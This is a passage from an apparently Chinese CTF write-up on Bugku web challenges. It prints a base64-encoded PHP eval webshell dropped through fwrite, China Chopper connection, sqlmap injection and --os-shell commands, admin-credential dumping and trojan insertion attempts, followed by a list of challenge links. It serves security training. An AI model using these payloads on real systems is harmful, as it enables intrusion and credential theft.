cmd=fwrite(fopen("pass.php","w"),base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbc3d4XSk7Pz4))
然后菜刀连接:
![](https://i.imgur.com/le864xM.png)
## bugku导航
稍微浏览了一下基本页面,顺手吧目录扫描器开启,发现两个登录的地方:
一个是首页用户登录的,放进sqlmap跑了一下,无果。
还有一个地方是后台登录的页面:http://120.24.86.145:9006/admin/login.php#
post,burpsuite抓了个包保存到本地,试了一下username参数
python sqlmap.py -r "C:\Users\Passerby\Desktop\CTF\bugku\bugku导航\bp.txt" -p username
![zxsq-anti-bbcode-Alt text](https://i.loli.net/2018/06/17/5b26127f136d6.png)
上webshell:
python sqlmap.py -r "C:\Users\Passerby\Desktop\CTF\bugku\bugku导航\bp.txt" -p username --os-shell
但是都上传失败了...没爆出网站路径
不过我爆了一下敏感数据,拿到了后台管理员账号:
https://i.loli.net/2018/06/17/5b2612953b3a6.png
后台有很多图片上传的地方,不过上传成功后,都会被改名成.png
找到了个添加广告的地方,随便插了一个一句话木马:
https://i.loli.net/2018/06/17/5b2612a9a8ece.png
插入失败了,又是sql...
试试这样:
https://i.loli.net/2018/06/17/5b2612c4cd1d4.png
没找到广告插在哪个页面了....
后来,扫了一下备份文件,把他源码下下来了。flag在根目录。
[zxsq-anti-bbcode-1]:http://103.238.227.13:10088/
[zxsq-anti-bbcode-2]:http://www.bugku.com/forum.php?mod=viewthread&tid=93&extra=page%3D1%26filter%3Dtypeid%26typeid%3D26
[zxsq-anti-bbcode-3]:http://120.24.86.145:8002/web15/
[zxsq-anti-bbcode-4]:http://120.24.86.145:8007/web2/index.php
[zxsq-anti-bbcode-5]:https://github.com/lijiejie/ds_store_exp
[zxsq-anti-bbcode-6]:https://cirt.net/nikto2
[zxsq-anti-bbcode-7]:http://120.24.86.145:8002/web16/
[zxsq-anti-bbcode-8]:https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
[zxsq-anti-bbcode-9]:http://120.24.86.145:8002/web9/
[zxsq-anti-bbcode-10]:http://118.89.219.210:49166/
[zxsq-anti-bbcode-11]:http://120.24.86.145:9001/sql/
[zxsq-anti-bbcode-12]:http://120.24.86.145:8005/post/
[zxsq-anti-bbcode-13]:http://118.89.219.210:49163/
[zxsq-anti-bbcode-14]:http://120.24.86.145:8002/web8
[zxsq-anti-bbcode-15]:http://120.24.86.145:8006/test1/
[zxsq-anti-bbcode-16]:http://120.24.86.145:8003/
[zxsq-anti-bbcode-17]:http://120.24.86.145:8002/chengjidan/
[zxsq-anti-bbcode-18]:http://120.24.86.145:8002/web7/
[zxsq-anti-bbcode-19]:http://120.24.86.145:8010/
[zxsq-anti-bbcode-20]:http://118.89.219.210:49162/
[zxsq-anti-bbcode-21]:http://120.24.86.145:8002/qiumingshan/
[zxsq-anti-bbcode-22]:http://120.24.86.145:8002/web6/
[zxsq-anti-bbcode-23]:http://120.24.86.145:9009/1.php
[zxsq-anti-bbcode-24]:http://120.24.86.145:9009/6.php
[zxsq-anti-bbcode-25]:http://120.24.86.145:9009/10.php
[zxsq-anti-bbcode-26]:http://120.24.86.145:9009/19.php
[zxsq-anti-bbcode-27]:http://120.24.86.145:8002/flagphp/
[zxsq-anti-bbcode-28]:http://www.kabelindo.co.id
[zxsq-anti-bbcode-29]:http://123.206.31.85:1001/
[zxsq-anti-bbcode-30]:http://120.24.86.145:8001
[zxsq-anti-bbcode-31]:http://120.24.86.145:9008/
[zxsq-anti-bbcode-32]:http://120.24.86.145:8008
[zxsq-anti-bbcode-33]:http://120.24.86.145:9009/md5.php
[zxsq-anti-bbcode-34]:http://120.24.86.145:9006/
[zxsq-anti-bbcode-35]:http://120.24.86.145:9009/22.php
[zxsq-anti-bbcode-36]:http://120.24.86.145:9009/7.php
[zxsq-anti-bbcode-37]:http://120.24.86.145:9009/20.php
[zxsq-anti-bbcode-38]:http://120.24.86.145:9009/5.php
[zxsq-anti-bbcode-39]:http://120.24.86.145:9009/15.php
[zxsq-anti-bbcode-40]:http://120.24.86.145:9009/21.php
[zxsq-anti-bbcode-41]:http://120.24.86.145:9002/